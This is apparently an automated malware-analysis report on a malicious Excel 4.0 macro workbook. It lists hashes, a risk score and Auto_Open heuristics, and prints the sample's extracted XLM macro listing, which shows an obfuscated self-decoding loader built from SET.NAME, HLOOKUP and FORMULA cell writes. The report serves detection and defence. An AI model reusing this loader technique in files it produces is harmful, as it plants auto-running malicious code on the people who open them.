Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9ab979c323f65d0…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:43:06 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 7c2ff7ff9bc1fdcd7def6479b440c241 SHA-1: 03cfda9e8db5586866bc3d9afc087e34f7951f03 SHA-256: b9ab979c323f65d0991abadd6ab1b81b68bd6cb54d927f65c5639bb62d7b2fa6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6453 bytes
SHA-256: df1293f70c8dfbb976e5b0300d90861c0d472d2927bb533d34a3eef99aad1295
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OBg
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G147 
' 0018     20 LABEL : Cell Value, String Constant - BNJNQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - bPNVMgZHn len=0 
' 0018     20 LABEL : Cell Value, String Constant - bXZKb len=0 
' 0018     23 LABEL : Cell Value, String Constant - cYjsOPaF len=0 
' 0018     20 LABEL : Cell Value, String Constant - emTNs len=0 
' 0018     20 LABEL : Cell Value, String Constant - hccLd len=0 
' 0018     27 LABEL : Cell Value, String Constant - HhnbDlhiCBKo len=0 
' 0018     24 LABEL : Cell Value, String Constant - IeUqoNQSY len=0 
' 0018     23 LABEL : Cell Value, String Constant - KmJKqrNB len=0 
' 0018     26 LABEL : Cell Value, String Constant - KXSIxXiZaPm len=0 
' 0018     27 LABEL : Cell Value, String Constant - lBzJWEzkHSbp len=0 
' 0018     26 LABEL : Cell Value, String Constant - lyjGjPRIiEP len=0 
' 0018     25 LABEL : Cell Value, String Constant - MoxHCiqqht len=0 
' 0018     22 LABEL : Cell Value, String Constant - OdKUhrb len=0 
' 0018     23 LABEL : Cell Value, String Constant - qPbHLIRZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - rNLScfC len=0 
' 0018     20 LABEL : Cell Value, String Constant - sSKzf len=0 
' 0018     23 LABEL : Cell Value, String Constant - TpIfOsMy len=0 
' 0018     22 LABEL : Cell Value, String Constant - vDrHZjw len=0 
' 0018     22 LABEL : Cell Value, String Constant - xlqJeyj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OBg,G57,"SET.NAME("bXZKb",VALUE("0"))",""
'  OBg,G61,"SET.NAME("qPbHLIRZ",bXZKb)",""
'  OBg,G64,"SET.NAME("OdKUhrb",bXZKb)",""
'  OBg,G67,"SET.NAME("bPNVMgZHn",COUNTA(IeUqoNQSY))",""
'  OBg,G69,"SET.NAME("emTNs",COUNTA(KXSIxXiZaPm))",""
'  OBg,G73,[],""
'  OBg,G75,"SET.NAME("TpIfOsMy","")",""
'  OBg,G77,"qPbHLIRZ",""
'  OBg,G79,"SET.NAME("HhnbDlhiCBKo",HLOOKUP("*",IeUqoNQSY,qPbHLIRZ,FALSE))",""
'  OBg,G84,"MoxHCiqqht",""
'  OBg,G89,"SET.NAME("lyjGjPRIiEP",bXZKb)",""
'  OBg,G91,[],""
'  OBg,G94,"lyjGjPRIiEP",""
'  OBg,G98,"BNJNQ",""
'  OBg,G101,"xlqJeyj",""
'  OBg,G104,"vDrHZjw",""
'  OBg,G108,"SET.NAME("sSKzf",VALUE(HLOOKUP("*",KXSIxXiZaPm,vDrHZjw,FALSE)))",""
'  OBg,G111,"KmJKqrNB",""
'  OBg,G114,"TpIfOsMy",""
'  OBg,G118,"OdKUhrb",""
'  OBg,G123,NEXT(),""
'  OBg,G127,"rNLScfC",""
'  OBg,G129,"SET.NAME("f",INT(T(FORMULA(T(TpIfOsMy)&"",""&T(rNLScfC)))))",""
'  OBg,G133,"lBzJWEzkHSbp",""
'  OBg,G138,NEXT(),""
'  OBg,G142,RETURN(),""
'  OBg,G174,"SET.NAME("hccLd",G57)",""
'  OBg,G176,"IeUqoNQSY",""
'  OBg,G180,"SET.NAME("KXSIxXiZaPm",R97C12)",""
'  OBg,G183,"SET.NAME("lBzJWEzkHSbp",192)",""
'  OBg,G188,"SET.NAME("cYjsOPaF",7)",""
'  OBg,G191,hccLd(),""
'  OBg,G192,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.